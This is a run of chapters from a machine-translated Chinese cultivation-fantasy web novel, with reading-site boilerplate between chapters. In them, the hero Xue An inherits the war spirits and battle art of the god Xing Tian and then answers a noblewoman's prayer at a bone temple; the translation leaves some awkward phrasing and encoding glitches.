    Every move seemed to tear himself and even the whole world to pieces, full of infinite fighting spirit.


    At this moment, he listened to Xing Tian''s calm tone.


    "Your swordsmanship is good, and your spiritual knowledge is also okay, but your martial arts skills are really rubbish!"


    This is the first time that Xue An has been evaluated as rubbish.


    But he didn''t have the slightest anger, but rather humbly asked: "My Lord Ares, how can this be improved?"


    "Hahahaha, it''s very simple, there is only one word of war!"


    "If the sky deceives me, then I will fight the sky, if the earth abandons me, then I will split the ground. Between the sky and the earth, there is nothing to fight against, and nothing to kill. It is for me to punish the sky and fight!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on "Favorites" below to record the reading record of this time (Chapter 2690 Ancient God of War Xingtian War Intent), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2691： The Blood Sorrow of Xingtian 1 Clan

    Xue An''s pupils shrank instantly.


    Even he was surprised by Xing Tian''s extremely arrogant fighting spirit when he spoke.


    Is this the strength of the ancient Chinese God of War?


    Even if it has been dead for so long, the attitude of looking at all directions and invincible still hasn''t changed in the slightest.


    "With your current strength, you can barely reach the threshold of a battle with high-level evil things, but this is far from enough. If you want to truly defeat them, you must have more powerful strength!"


    Xue An looked solemn and said: "Please enlighten me from the God of War!"


    Xing Tian laughed, "Of course I have to teach you, otherwise I won''t pay you so much! But this is a prerequisite!"


    "Master Ares, please speak!"


    Xing Tian did not speak, but wandered to the edge of the Bone Wasteland, overlooking the boundless sea of ??skeletons below.


    Although he was a boneless body, Xue An could still feel the deep depression from his back.


    After a long time, Xing Tian said in a low tone: "Although these people are called my subordinates, they are actually brothers who lived and died with me. They have paid for the world, the Chinese, and the Xingtian clan. too much!"


    "Although there is no time in the black hole, because of the dissipation of cause and effect, their heroic spirits are also dissipating. In the long run, they will only have one end, and that is to die!"


    Xue An''s complexion became extremely serious.


    You must know that these bones are all heroes who have done everything for the Chinese!


    Therefore, before Xingtian finished speaking, he said immediately.


    "What can I do?"


    "Of course you have to do something, after all, you are the only hope they can survive!"


    Xing Tian said lightly, then turned to look at Xue An, "This is my premise, you have to take them away!"


    Xue An did not hesitate at all, and immediately nodded and said: "Okay!"


    "Don''t you ask how to take them away, and at what price do you have to pay for it?"


    Xue An smiled, "These heroic spirits died for the Chinese people, and as a Chinese person, it is only natural for me to do something for them. Why not ask? Even if there is any cost, I will bear it. !"


    "Hahahaha!" Xing Tian Yangtian laughed wildly, "Okay, good boy, you are getting more and more appetite for me! Don''t worry, I will let you take them away. Not only will it not give you any pressure, but it will give you a day. Great opportunity!"


    After that, Xing Tian waved his hand, and the boundless sea of ??skeletons was shattered.


    All the skeletons turned into white bone meal in an instant, and then gathered together, flying toward Xingtian mightily.


    In the blink of an eye, these countless skeletons turned into a ball of white light, held in the palm of Xing Tiantuo.


    Xing Tian''s tone became gentle at this moment, "Old folks, it has been hard for you these years! I will take you away from this ghost place, and then follow this kid to clean up the evil things raised by bitches!"


    After that, the ball of light shattered, and countless strands of white brilliance entangled, directly enveloping Xue An.


    Xue An trembled all over, with a trace of pain on his face, but he quickly suppressed it, without even humming.


    Seeing this scene, Xing Tian''s tone also brought a trace of appreciation.


    "Boy, shout out if it hurts, after all, this is not something that ordinary people can bear!"


    Xue An shook his head, "No, I can hold it!"


    "Hahaha, a bit of spine, the Chinese can have an offspring like you, it seems that our old guys were worth the effort back then!"


    Xue An was speechless at this time, because all his consciousness was overwhelmed by an indescribable pain.


    This pain is coming in waves, and it is getting stronger and stronger. Even now, even if Dao Xin is as tough as Xue An, it is on the verge of collapse.


    Especially at this moment, he is the body of divine consciousness, which is equivalent to directly inflicting pain on his soul, and the pain has increased more than ten times invisibly.


    If you change to another person, you may collapse on the spot, even in the realm of a saint, you will have to collapse in the face of this pain.


    But Xue An, who was crumbling, refused to fall, but insisted.


    His head appeared in Xing Tian''s hands again. After seeing this scene, his face couldn''t help showing an admiration, but at the same time there was also a touch of worry.


    He is ready to stop at any time. After all, Xue An''s aptitude seems to be the best in him after countless years. If he falls here because of this incident, it will be a great loss to the Chinese. .


    It''s just that there is still a faint expectation in his heart.


    After all, if Xue An can break through, not only will his comrades in arms have settled down, but he will also have the hope of seeing the sun again...


    Just as Xing Tian was thinking about it, he heard Xue An who was surrounded by white light snorting abruptly, and then all the white light disappeared and he watched again.


    I saw Xue An standing in place sweating profusely, his upper body was already naked, revealing the back that was slightly thin but muscular.


    And on the back, a black tattoo appeared faintly.


    After a closer look, these tattoos are actually thousands of people.


    This tattoo picture is extremely detailed, just a back can accommodate countless war spirits, and everyone''s appearance is vivid, as if they will jump out of it to fight in the next second.


    Xing Tian couldn''t help being overjoyed when he saw this. He strode forward for a moment and then patted Xue An on the shoulder.


    "Good boy, what I didn''t say, you can actually make it through. With this backbone, you are a first-class guy!"


    For Xing Tian, ??the first-class man is the highest compliment.


    Xue An smiled tiredly, and didn''t even have the strength to speak.


    To be honest, if it takes a little longer, he will just fall apart.


    Fortunately, he survived.


    But at this moment, he felt nothing except a tattoo on his back.


    Xing Tian laughed as if he had sensed Xue An''s doubts.


    "Don''t worry, UU reading , take a break first, and I will tell you everything later!"


    After a while, Xue An and Xing Tian sat facing each other.


    Xing Tian put his head back on his neck, and then looked at Xue An with a strange look.


    "Why are you looking at me with this look?" Xue An couldn''t help asking.


    "Do you feel bad now?"


    "Uncomfortable?" Xue An frowned and thought for a moment, then shook his head, "No!"


    "It shouldn''t be!" Xing Tian muttered to himself, but immediately he shook his head.


    "Forget it, it seems that your previous performance has won some of their recognition, so they didn''t embarrass you!"


    "But this is not a long-term strategy, because my old folks are born to war. If there is war, they will be the strongest fighters who are indomitable and fearless. But if no one suppresses them in peacetime, they will soon. Entering into disorderly raging, and even killing one another, this is the blood mourning of the Xingtian clan!"


    I like invincible, starting with Dad Xianzun

 Chapter 2692： Xingtian Battle Jue

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    "Berger?" Xue An couldn''t help saying.


    "Well, you can also describe it like that! So although you are temporarily suppressing them with that tenacious state of mind, over time, these heroic spirits that are sealed in your body will surely cause chaos!"


    At this point, Xue An finally understood why this Xingtian clan was named the **** of war in ancient legends.


    Because this warlike gene has been deeply embedded in their bones.


    Xue An''s expression couldn''t help becoming serious, "What should I do then?"


    "I said, this is the price you have to pay, but it is also your chance. Do you know why I live on this throne of bones?"


    Xue An''s heart moved.


    "Yes, because I, and the bone throne under my feet, are actually the strongest weapon to suppress and command them!"


    Upon hearing this, Xue An finally understood everything.


    Xing Tian continued and said: "I previously carved the heroic spirits of my old men into your body, just to see if you can bear all of this, and you did it. Then, next, I will take all of this. The authority is handed over to you!"


    Xue An was shocked, "What about you?"


    "Me?" Xing Tian smiled, "Don''t worry, as the **** of war, I will only die on the battlefield and will never stop myself, but if I want to get out from here, I can only rely on you. So next, I will become your vassal too!"


    Xue An''s mouth opened slightly, "A vassal?"


    "This word is not too precise, but there is no better word to replace it. You just need to know that I will also be part of your back tattoos, that''s enough!"


    "But before doing all this, I have to teach you everything I can teach you. After all, your current strength is too weak!


    Only then did Xue An understand Xingtian''s overall plan.


    "Uh...this..."


    Before he could say anything, Xing Tian had already blasted Xue An with a punch, "Then let''s start with this punching technique!"


    Xue An was already used to Xing Tian''s habit of doing things, so he didn''t feel much flustered, and avoided the punch sideways, and then the two hit one place.


    After a while, Xue An was knocked to the ground with a punch by Xing Tian.


    "Just this strength? Get up and fight again?"


    Xue An didn''t say a word, and when he stood up, he was in a fight with Xing Tian again.


    The next is a long and boring fight.


    In short, Xue An kept being knocked down and then stood up again.


    During this process, Xing Tian had been mocking with words, but Xue An did not refute it.


    Because this world is respected by strength, and now he can''t beat Xingtian, it''s useless to say anything.


    So he just gritted his teeth and stood up to fight


    I don''t know how long it has passed, but Xue An was knocked down thousands of times anyway.


    Finally, at this moment, Xue An was able to make peace with Xing Tian, ??although he would still be knocked down, but sometimes he could knock Xing Tian to the ground.


    Although Xing Tian didn''t say this kind of growth rate, he was extremely satisfied in his heart.


    After all, he had cultivated for countless years, coupled with the bloodline bonus of the Xingtian clan, to have such a powerful boxing technique.


    How old is Xue An?


    Adding all his years of practice, it only took more than three thousand years, and it only took him a few thousand times to fight himself against himself.


    This growth rate is terrifying.


    Finally, Xing Tian nodded in satisfaction.


    "Well, now your martial arts skills are barely qualified, but now you are still on the surface, because you don''t have the blood blessing of the Xingtian clan, so you lack the fierce fighting will to fight the heavens and the earth!"


    "And this is the root of my invincible war!"


    Xue An smiled bitterly, "What should we do then? Is it going to be rebuilt for this purpose?"


    "Of course not. After all, if I say I want to teach you, I will teach you nothing at all!"


    With that said, Xing Tian took a deep breath, and the figure that had been reduced to facilitate communication with Xue An instantly straightened up.


    Then he stretched out his hand, and his long white fingers lightly touched Xue An''s eyebrows.


    In an instant, countless brilliance rushed in, even if the divine consciousness was as large as Xue An, he felt tremendous pressure in an instant.


    "Throw out distracting thoughts and fully absorb everything I have passed on to you!" Xing Tian shouted in a deep voice.


    Xue An immediately cleared his mind and began to try his best to absorb the complex information.


    It was another long period of time, and finally, Xing Tian passed everything he had to Xue An.


    Looking at Xing Tian at this time, his body has shrunk to the point where he is shorter than Xue An, and his face is full of exhaustion.


    When he let go of his fingers, his whole body was shaking, and he almost fell.


    Xue An opened his eyes to see this scene, and immediately stepped forward to support him.


    "Master Xingtian!"


    Xing Tian chuckled, "How''s it? Can you feel something?"


    Xue An nodded, "A lot of insights!"


    "Well, in this case, all my tasks have been completed. Now you engrave the bone throne and me into your tattoos!"


    Xue An hesitated for a moment.


    Xing Tian''s tone sank, "What? Are you still not doing it?"


    Xue An took a deep breath, then nodded, "Yes!"


    Then, I saw him pinch the seal with his hand.


    In an instant, the throne of bones underneath began to shrink, and then it turned into white brilliance just like the sea of ??skulls and crossbones before.


    The white brilliance flew to Xing Tian''s body, wrapped him around and shattered, and then rushed into Xue An''s body.


    In an instant, brilliance lingered.


    There was no expression on Xue An''s face.


    This time it was even longer than the previous sea of ??skeletons.


    finally.


    The white brilliance dissipated. Looking at Xue An at the moment, there was a mountain of white bones on the tattoo behind him. At the same time, there was a giant dancing with hands standing on the mountain, giving orders to the thousands of troops under his feet. .


    The void became empty again.


    Xue Jingjing stood in the darkness, feeling the tingling pain on his back.


    After a long time, UU read and he let out a sigh of relief.


    "Xing Tian Zhan Jue... Master Xing Tian, ??you really took pains for me!"


    In addition to the countless years of combat experience in the information that Xing Tian transmitted to Xue An just now, the most important thing is a Xing Tian battle technique that has condensed the wisdom of countless generations of masters of the Xing Tian clan.


    It can be said that this is the most mysterious and powerful secret technique Xue An has encountered so far.


    Originally, this battle technique must be cultivated with the blood of the Xingtian clan, but this problem was solved when the Xingtian clan all turned into heroic spirits and attached to Xue An.


    It can be said that Xue An today is the only descendant left by the Xingtian clan in this world.


    At the same time, Xue An also knew that as long as his Xing Tian Zhan tactics can be cultivated to a certain level, the tattoos on his back will be brightened one by one and used for his own use.


    But Xue An is not concerned about this, what he cares about is.


    As long as you have cultivated Xingtian Zhan Jue to the fullest, then including Lord Xingtian and the heroic spirits who died in battle, it will be possible to see the sun again.


    Thinking of this, Xue An''s heart moved, and then the huge divine thoughts in his body began to run wildly in accordance with Xing Tian''s battle tactics.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2692 Xingtian Fighting Jue), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2693： King of Bones

    Chapter 2693 The Bone Saint


    Xue An entered the realm of comprehension at the age of 22. After three thousand years, he finally became the Immortal Venerable Immortal.


    This achievement is not unremarkable!


    It can even be said that Xue An��s talent and cultivation speed are the first people in the realm of heavenly cultivation since ancient times.


    But Xue An��s path of cultivation has not always been smooth sailing.


    Because at the beginning of the practice, there was no communication and no background, so Xue An could only pick up **** exercises that others disdain to practice to build the foundation.


    Although in the later stage, Xue An covered this defect with his outstanding talent.


    But the initial foundation has not been well laid out. The impact has always been there, but the performance is not so obvious.


    With the growth of Xue An''s strength behind, the cultivation techniques and resources he can access have also increased.


    But this brings about a very serious problem, that is, Xue An does not have a clear line of practice.


    Unlike those disciples trained by teachers, Xue An''s practice system is very complicated.


    Maybe Xue An will practice spiritual thoughts if he obtains a spiritual practice today, and Xue An will switch to physical training tomorrow.


    Although he was able to practice everything well with the blessing of his talent, this way of practice still planted a huge disaster for his future growth.


    This is also a major cause of his failure to attack the Saint Realm with Xianzun cultivation.


    Although Xue An is reborn and returned, this drawback still exists.


    Because all of his exercises do not have a unified line, he can only improve on his own talent and intellect, and practice while groping.


    It is conceivable that in this case, the true essence spiritual power in Xue An''s body is actually not pure enough.


    This is also the reason why Yue Shifang and other experts said that Xue An''s strength is actually not worthy of his state of mind.


    It is because of the exercises that dragged Xue An''s hind legs.


    But now, when the spiritual power contained in Xue An''s body of divine consciousness is operating in accordance with the practice of Xing Tian Zhan Jue.


    The originally slightly mixed spiritual power was shocked, and then quickly decomposed and dissipated, and was digested and absorbed by Xing Tian Zhan Jue.


    In the blink of an eye, the spiritual power in Xue An''s body disappeared like a deflated leather ball.


    In the empty meridians, only a strand of Xing Tian Zhen power, as thin as a hair, is running.


    Xue An��s strength even fell from the saint back to the immortal emperor in an instant, and from the immortal emperor to the immortal emperor. In the end, he was able to stay in the realm of the immortal emperor''s early stage, and fell into the realm of the immortal king.


    But in the face of this kind of high-level diving-like strength drop, Xue An didn''t have the slightest panic. Instead, he smiled indifferently, and then waved.


    The giant snake man who was thrown into a ball by him before reappeared in front of him.


    "My lord, the matter can be resolved...Huh, my lord, what''s the matter with your strength?" The giant snake man keenly noticed the sharp drop in Xue An''s strength, and asked strangely.


    "It''s nothing, it''s just an occasional adventure!" Xue An said lightly.


    And just as he was speaking, the non-stop Xing Tian Zhen power increased slightly.


    Boom!


    Xue An''s momentum was lifted, and then he entered the middle stage from the early days of Emperor Xiandi.


    This kind of speed of promotion like a housekeeper is simply unheard of. If it spreads out, it will definitely cause huge waves.


    But at this time, Xue An looked indifferent, without the slightest surprise or shock, as if all this had been in his expectation.


    "Let''s go!"


    After that, Xue An strode towards the depths of the void.


    The giant snake man stood there, until Xue An was already far away, he trembled all over, and then hurriedly followed.


    To be honest, just a moment ago, when he noticed that Xue An''s strength had fallen drastically, an evil thought flashed in his heart for a moment.


    Very quickly, this evil thought was shocked by Xue An''s promotion like breathing easily.


    Especially, he also discovered that although Xue An''s strength at this moment is only in the realm of the immortal emperor, the power exuded by his gestures is much more terrifying than before.


    Therefore, he was extremely wise to suppress the evil thoughts in his heart and chose to follow.


    Xue An is still naked at this time, and every step he takes has a unique rhythm.


    As he strode, his muscles were shaking like running water, and even the tattoo on his back seemed to come alive.


    The giant snake man just glanced at this tattoo and was so horrified that he lowered his head and dared not say anything.


    The countless battle souls of Mimi Zaza were dizzy when anyone looked at it. More importantly, the giant dancing and waging above the crowd made the giant snake man feel as if his body had collapsed just by looking at it.


    This made him swallow secretly.


    What are these things?


    And what is the strength of Master Xue?


    Could these fighters be defeated by Xue An and then forcibly sealed?


    Just as the giant snake man was thinking about it, Xue An, who strode in front of him, exploded once again.


    Boom!


    This time, Xue An has stepped into the realm of the latter stage from the middle stage of the emperor.


    I guess no one will believe it when I say this promotion speed.


    The giant snake man was also shocked. More importantly, he discovered that when Xue An was promoted, the tattoo on his back seemed to have changed.


    The images of these soldiers at the bottom became more vivid, and some people''s eyes were lit up, as if they could come alive in the next instant.


    The giant snake man just glanced at it, then lowered his head in infinite awe, not daring to think of offense anymore.


    At this moment, with the lighting of the tattoo behind Xue An, a ray of Qi suddenly appeared out of thin air and merged into Xue An''s body.


    Xue An was taken aback for a moment, and then a strange color appeared on his face.


    Because the Qi machine just now is a ray of aspiration. UU Reading


    After melting into the body, Xue An heard a murmur of prayer.


    "Blessed by the great sage of the bones, may my father change his mind and not marry me to the hakama of the general''s family, and hope I can find the best man..."


    Then the female voice talked about many trivial things.


    Xue An was so ridiculous.


    Because through the female voice''s narration, Xue An knew that the father of this unknown girl should have offended a wealthy family because of something, and he wanted to marry her to a powerful son in desperation.


    And this powerful son is a hakama who is like a fake, with a bad reputation, so this girl was very unhappy in her heart, but she didn''t dare to disobey her father''s order, so she had to come to the temple to worship and make a wish.


    just who is the great sage she calls it?


    Could it be... is this Xing Tian?


    Xue An''s heart just moved.


    heard this female voice say again: "Caidie, put up the sacrifice I prepared!"


    "Yes, miss!"


    offerings? What sacrifice?


    Just as Xue An was puzzled, an extremely bright aura suddenly appeared in front of him.


    (End of this chapter)

 Chapter 2694： White Bone Temple

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    This Qi machine contained extremely strong aspirations, and as soon as it appeared, it wrapped Xue An and the giant snake man behind him.


    Xue Angang wanted to resist, but immediately a message emerged in his mind.


    The appearance of this news made Xue An stunned for a moment, and then smiled faintly, allowing this qi to drag himself and the giant snake man away from the place.


    After a while, the qi dissipated, and when I watched the field, there was no longer the two of Xue An.


    This is a wasteland with grotesque rocks.


    The ground seemed to have been bombarded fiercely by something, with broken potholes everywhere, and the edges showed a vitrified form.


    That is caused by the sand and gravel being melted by high temperature and then solidified.


    As for the strange stones that stand upright, they are even more weird, and there are all kinds of them.


    Even the powerful beings in the surrounding star regions would stay away from this wasteland, because this place is enveloped by a fierce atmosphere all year round, and it is extremely tricky for monks to get infected.


    But in such a harsh environment, in the center of this wasteland, a temple stood tall.


    The temple is not big, its color is pure white.


    This temple is actually built of dense white bones, and it exudes a strong air that makes people afraid to look directly at it.


    But at this moment, a motorcade stopped in front of this temple.


    The fleet is luxurious and high-end, and even the horses that pull the carts are first-class rare animals.


    In the small temple, a young girl was kneeling on the futon, muttering to a huge bone enshrined in the shrine, praying something.


    The maids who followed all knelt down, afraid to make a sound.


    After a long time, I saw that the white-faced woman finally opened her eyes.


    These eyes are clear and bright. Although they can''t see the specific facial features because they are covered with white gauze, they can tell that this is definitely a beautiful woman.


    At this moment, the woman turned her head and said: "Cai the butterfly, present the sacrifice I prepared!"


    "Yes!"


    A maid behind her immediately took off her carry-on baggage, moved forward, and handed it to the woman.


    The woman picked up the baggage, the baggage was not big, there was a bulge inside, and she didn''t know what it was carrying.


    The woman stood up, looked respectfully before coming to the shrine, put the burden on it, and then gently untied it.


    Shatter!


    After the baggage was opened, a pile of bone fragments overflowed from it.


    These bones are of peculiar color and are not owned by human beings, but when they appeared on the shrine, the small white bone temple blew a gust of wind out of thin air, and then rolled up the bone fragments on the shrine and disappeared without a trace.


    When the wind is gone, everything is calm.


    The woman blinked, but the giant bone on the shrine did not react at all.


    Her face couldn''t help showing a deep disappointment.


    "Bone Great Sage, is it because I don''t have enough sacrifices? Why didn''t you respond at all? But that is the most evil bone fragments I can collect!"


    There was still no reaction above the shrine.


    The disappointment on the woman''s face gradually turned into despair.


    The body also shivered slightly.


    "Bone King, if you are not willing to help me, then I really have nothing to do! So please show your spirit!"


    It was terribly quiet in the small temple.


    Suddenly, the woman laughed.


    It''s just that her smile is full of despair, which is unbearable.


    "Miss!" The maid named Caidie couldn''t help but shouted.


    The woman waved her hand, and then said in a deep voice: "I should have thought of it, even if this great sage of bones is as effective as the rumors? That is the general who suppressed a star field! Even it is it. I guess there is nothing you can do if you come in person!"


    "But I''m still a little bit reconciled, so I wanted to give it a try! Forget it, let''s go!"


    The woman turned around and said in a bleak tone.


    Caidie nodded, and was about to tell people to prepare the convoy.


    But at this moment, the shrine suddenly flourished.


    These abnormalities caused the woman to suddenly turn around, just about to speak.


    The huge bone shattered suddenly, and then all the fragments quickly gathered and turned into a figure.


    The woman''s eyes opened wide and she looked at everything in front of her in disbelief.


    I saw this figure slowly stepping out of the flying bone debris.


    When he appeared in front of everyone, many people couldn''t help but shine.


    What kind of boy is this!


    The figure is as tall as a sword, and the eyebrows are picturesque. Although the upper body is naked, it shows the perfect figure.


    At least many of the maids blushed at the time.


    The woman was also a little surprised, and then turned into ecstasy.


    "Bai...You are the Great Sage of the Bone?"


    Xue An smiled, "Forget it!"


    At this time, the brilliance dissipated, and these bone debris also fell down.


    But the joy on the woman''s face receded little by little, replaced by infinite despair and puzzlement.


    Because at this time she finally realized that the young man in front of him, or the great sage of the bone, was terribly weak.


    Not to mention that it is compared with the general who guards the side, but it is slightly inferior to himself.


    Such strength is the top power that is rumored to have fought many years with ancient commanders and even military commanders?


    Xue An naturally saw her loss and doubts, but he didn''t explain, just smiled faintly.


    "What? You seem disappointed?"


    The woman shook her head and sighed lightly: "Whether you are the Great Sage of the Bone or not, it doesn''t matter anymore, and I won''t ask you where you came from, so you can leave by yourself!"


    After all, the woman turned and left.


    At this moment, Xue An said calmly: "What? Are you eager to go back and marry the hakama that you hate?"


    The woman stopped Huo Ran turned and stared at Xue An.


    The smile on Xue An''s face did not change at all, and even shrugged, "I heard all your prayers just now!"


    "Are you really the Great Bone Saint? But how can your strength..."


    The woman didn''t say the latter words, but the meaning was already obvious.


    "How can you be so weak? Hehe, what you see is just fur, but I don''t blame you. After all, you prayed to me sincerely and offered a generous sacrifice. I will do this for you. Solve it!"


    When Xue An said this, he understated his tone as if he was talking about a trivial matter.


    She seemed to be infected by the powerful self-confidence revealed in Xue An''s words, and the woman was a little dazed.


    At the same time, Xue An walked outside the temple, and as he walked, he was surrounded by brilliance.


    When he came to the door, a white coat had already covered his naked upper body.


    "Why? Are you still leaving?" Xue An asked back.


    Although the woman wanted to ask something more, facing the shallow smile on Xue An''s face, she nodded in a ghostly manner.


    "Go...Go!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2694 White Bone Temple), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2695： Play fine max

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    When the women and the group walked out of the White Bone Temple, the people who were waiting outside couldn''t help being surprised.


    When did a strange man appear in the temple?


    And are you still so close to Miss?


    A turmeric-looking man in the crowd was shocked, and then rushed closer.


    "Who fanatic, dare to approach my lady?"


    While he was speaking, his hands were filled with blood, and the next moment he planned to kill the boy in white immediately on the spot.


    This person is the leader of the team and the woman''s bodyguard.


    Before this wealthy lady came to worship at the White Bone Temple, the man had cleared the neighborhood three times to ensure that everything was foolproof before letting the girl into it.


    But I never expected that even under such careful arrangements, things still went wrong.


    A strange man appeared in the empty Bai Bone Temple and walked side by side with the young lady.


    If this is spread out, not only will it be a blow to the young lady''s reputation, but it will also be hard for him to escape.


    So he didn''t hesitate at all, he wanted to kill this young man directly.


    But at this moment, the white-clothed teenager seemed to feel something, and raised his eyes and glanced at him faintly.


    It was this understatement that the guard leader''s heart shook wildly, and then froze in place.


    All his muscles and joints have lost control over his body. At this moment, let alone move his hands, even blinking his eyes has become an extravagant hope.


    In an instant, the guard leader''s heart was occupied by infinite panic and despair.


    Because in this state, there is no difference between myself and the fish on the chopping board.


    But what frightened him even more was that he didn''t even know what methods the boy in white used.


    With just a glimpse, he can''t move like a wood-carved clay sculpture.


    At this moment, I saw the white-clothed boy walking slowly down the steps and coming here.


    The pupil of the guard commanded suddenly shrank to the size of a needle tip, and dense cold sweat appeared on his forehead.


    Few people can face death without fear.


    Especially this boy in white is so mysterious and unpredictable, God knows what terrifying means he has.


    Just as the guard was commanding the madness, he saw the white-clothed boy walking past him without squinting.


    During the whole process, I didn''t even look at him.


    Suddenly, the heartbeat of the guard commander stopped for half a beat, and then he realized that he could move.


    And it was at this moment that the women stepped up.


    "Miss��."


    The woman shook her head, but did not speak, and then quickly followed.


    The guard leader turned his head in amazement.


    I saw where the white-clothed boy had passed, all the subconsciously retreated to the sides.


    Then he came to the middle of the convoy, where a luxurious carriage parked, it was the eldest lady''s car.


    The boy in white was not polite, stepped up the steps and walked in.


    The woman stood outside for a while hesitating, then lifted the skirt and followed in.


    Everyone in the audience fell into a sluggishness.


    No one knew what was going on, so everyone turned their attention to the guard leader.


    His face flushed.


    If he is in accordance with his duties, he should now carry the knife and rush into the carriage to protect the eldest lady.


    But what just happened had already scared him.


    He really didn''t want to try that kind of feeling that he couldn''t even move his fingers and was let go.


    And just when he was hesitating, the little maid named Caidie quickly walked to the front of the carriage, listened to a few words, nodded, and responded with a low yes.


    Then she turned around and said in a deep voice: "Miss just said that the worship is over, and I will return immediately!"


    As an absolute confidant of the eldest lady, Caidie''s words are actually equivalent to the meaning of the eldest lady in many cases.


    What''s more, at this delicate moment, no one will have any objections to her words.


    Including the guard leader, everyone present only hesitated for a moment, and then they got busy.


    After a while, this luxurious fleet began to set off for the return journey.


    Because of the special structure of this wasteland, even if the beasts in this convoy are rare and rare animals, they still have to walk honestly.


    Only after getting out of this wasteland can you fly.


    But what they didn��t know was that they had just abducted a huge boulder, and the history behind them was so long that they didn��t even know who built the small bone temple shivered, and then it turned into a sky full of bone meal. , Disappeared into the wind.


    If there is anything more exciting than the BMW Xiangche, it must be that the BMW Xiangche is accompanied by a stunning beauty.


    Especially on this bumpy and rugged road, despite the extreme luxury of the carriage under the seat, there is still a little shake, but this will not affect people''s mood, but adds a touch of fun.


    At least that''s what the wealthy lady thinks in her heart at the moment.


    She stared blankly at the young man sitting by the car window.


    The light outside the window shone on his face through the white gauze, drawing a faint halo on his side face.


    This picture complemented the atmosphere in the carriage, and gave birth to a smell called ambiguous.


    Of course, all of the above things were secretly contrived by her.


    At this moment, this wealthy lady gave full play to her ability to be good at random thinking. Her head was full of all kinds of messy pictures. Thinking of the emotions, her cheeks under the veil could not help but feel a little feverish, and her breathing was slightly quickened.


    At this moment, Xue An, who had not spoken after getting in the car, suddenly said, "What is your name?"


    The woman trembled, and a thought flashed through UU reading .


    Has it finally started!


    Thinking of this, the corners of her mouth under the veil couldn''t help but raised slightly.


    Sure enough, I can''t hold it anymore!


    From the time I got into the car, I deliberately caught my attention with silence. I wanted to use this method to arouse my curiosity and deepen my impression. I saw this trick when I was three years old.


    But should I tell him?


    After struggling for a while, the woman finally said softly: "My surname is Ren, the wayward Ren, my name is Ren Ning!"


    "Ren Ning..." Xue An repeated, and then fell into silence again.


    Ren Ning took a peek at Xue An and saw him sitting there foolishly, and instantly made up more than 10,000 words of mental activity.


    Did he get too excited after knowing my name and didn''t know what to say?


    Um!


    It must be so!


    Oh, man.


    But Ren Ning, who has the ability to play the best, didn''t know that Xue An was actually thinking about something that was completely irrelevant at this moment.


    That''s how many causes and effects the ancestor Xingtian involved in this world.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on "Favorites" below to record the reading record of this time (Chapter 2695 Drama Max), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2696： 7 Shinbu Yasuro

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    There is no doubt that this great sage must be Xingtian ancestor.


    As for how he got rid of the shackles of black holes, he came to this world.


    Xue An has found the answer in the huge and extremely large information that Xing Tian ancestor instilled in him.


    In fact, the truth is very simple. The real Xing Tian has never left the black hole. The White Bone Saint who appeared in the outside world is actually just the manifestation of his thoughts.


    It may be that an imperceptible omission appeared somewhere when the black hole was in motion, so Xing Tian''s thought ran out and turned into the appearance of a great sage in the outside world.


    But if it was nothing more than that, it would not take long before this idea would be washed away by the ubiquitous aura.


    The only way to keep it from being obliterated by spiritual power and the laws of heaven is to protect the body with willing force.


    To put it bluntly, this is the same as the little gods on the earth who have incense and enlightenment.


    By developing believers and increasing willingness to maintain their own immortality.


    But what kind of person Xing Tian ancestor is, even though his earth-shaking ability is firmly bound in a black hole, just the idea of ??sneaking out has great power.


    You should know that incense enlightenment is simple to say, but it is not easy in fact.


    After all, believers are not fools. The reason why they worship you and provide you with a steady stream of devotion is that they want you to provide him with blessing.


    This is even more obvious in the spiritual world.


    To put it bluntly, this is actually an equivalent exchange. If you give me the aspiration I need, I will give you the same protection and power.


    If one of the two parties fails to do so, the trading system will collapse instantly.


    Especially in the spiritual world.


    Because practitioners themselves are otherworldly people, and extremely realistic, if you want them to be faithful to you, it is much more difficult than developing mortals.


    But the King of Bones did it.


    Not only did it do it, but it did a good job.


    At least in the first few hundred years, it continued to accumulate believers through various means. At its peak, the temples enshrining it can be described as many star regions.


    The huge aspiration power is nourished, and its strength keeps rising.


    If it continues to develop like this, it is very likely that the Great Sage of Bones will become the second incarnation of the ancestor Xingtian.


    In that case, the fate of many people will be rewritten.


    Unfortunately, everything stopped abruptly at the most critical moment.


    Because the prosperity of the Bone Religion finally attracted the attention of the higher evil creatures, under their strong intervention, the Bone Religion quickly declined.


    As for the Great Sage of Bones, he collapsed under the shots of several top-level beings. So far, the Bone Religion fell into disrepair, and was finally annihilated in the dust of time.


    But this is not over, there are still a group of people who secretly worship the Bone King.


    Although the number of people is getting smaller and smaller, the faith has never been severed.


